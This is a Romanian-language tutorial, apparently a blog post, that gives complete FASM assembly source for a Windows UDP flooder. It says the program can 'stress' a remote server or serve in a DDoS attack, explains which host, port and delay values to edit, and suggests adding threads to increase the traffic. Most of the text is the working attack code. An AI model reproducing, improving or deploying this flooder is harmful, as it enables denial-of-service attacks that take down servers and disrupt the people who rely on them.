Creearea unui UDP Flooder

Introducere

Assembly (ASM) e considerat unul din limbajele de programare mai limitate, mici.
Beneficiile acestuia sunt timpul mai mic de executie, binaryuri mai mici si limitele neexistente. Aproape orice software de computer poate fi codat in ASM dar asta ar dura mai mult timp decat intr-un limbaj mai mare precum C++ .
In acest tutorial va voi explica cum sa creeati si compilati un simplu flooder UDP pentru sistemele Windows.

UDP Flooder
Codul de mai jos e un flooder UDP, poate fi folosit pentru a "stresa" un remote server, sau pentru un atac DDOS.
Pentru a folosi acest cod, modificati iSleep, sPort si sHost cu cele specifice si compilatile cu FASM .
El va genera un executabil de 2KB care cand va fi pornit va trimite in continuu AAAAAA... Pachetele vor fi trimise catre host fara oprire pana cand va aparea o eroare.

Code:
format PE console 4.0

include 'include\win32a.inc'
section '.data' data readable writeable

 ; Timpul dintre pachete
 iSleep		equ 500d
 ; Portul destinatar
 sPort		equ 2750d
 ; Hostul destinatar
 sHost		db 'remotehost',0
 ; Pachetul ce va fi trimis
 sPacket	db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',0
 sPacketl    = $ - sPacket
 sock		dd ?
 sin_addr	dd ?
 sin_port	dd ?
 saddr sockaddr_in
 wsadata WSADATA

section '.code' code readable executable
 start:
	invoke WSAStartup, 0202h, wsadata
	; Declararea socketului UDP
	invoke socket, AF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17
	mov [sock], eax
	mov [saddr.sin_family], AF_INET
	; Selectarea portului
	invoke htons, sPort
	mov [saddr.sin_port], ax
	; Selectarea IPului
	invoke gethostbyname, sHost
	mov eax, [eax+12]
	mov eax, [eax]
	mov eax, [eax]
	mov [saddr.sin_addr], eax
	; Startul trimiterii de pachete
	.loop:
	invoke sendto, [sock], sPacket, sPacketl, 0, saddr,sizeof.sockaddr_in
	cmp eax, 0
	je exit
	invoke Sleep, iSleep
	jmp .loop
	; alte chestii
	exit:
	invoke closesocket, [sock]
	invoke WSACleanup
	invoke ExitProcess,0

section '.idata' import data readable writeable

library	kernel,'KERNEL32.DLL',\
		winsock,'WSOCK32.DLL'

 import kernel,\
	ExitProcess,'ExitProcess',\
	Sleep,'Sleep'

 import winsock,\
	WSAStartup,'WSAStartup',\
	WSACleanup,'WSACleanup',\
	socket,'socket',\
	sendto,'sendto',\
	inet_addr,'inet_addr',\
	htons,'htons',\
	closesocket,'closesocket',\
	gethostbyname,'gethostbyname'
Alte informatii

Codul de mai sus este destul de simplu dar nu poate avea erori, ar trebui totusi ca mereu sa comparati eax cu 0 dupa fiecare functie pe care o chemati inainte de a continua. Aplicatia ar putea fi imbunatatita adaugat MultiThreadSupport folosind CreateThread.


Multumesc pentru ca ati citit.

Niciun comentariu: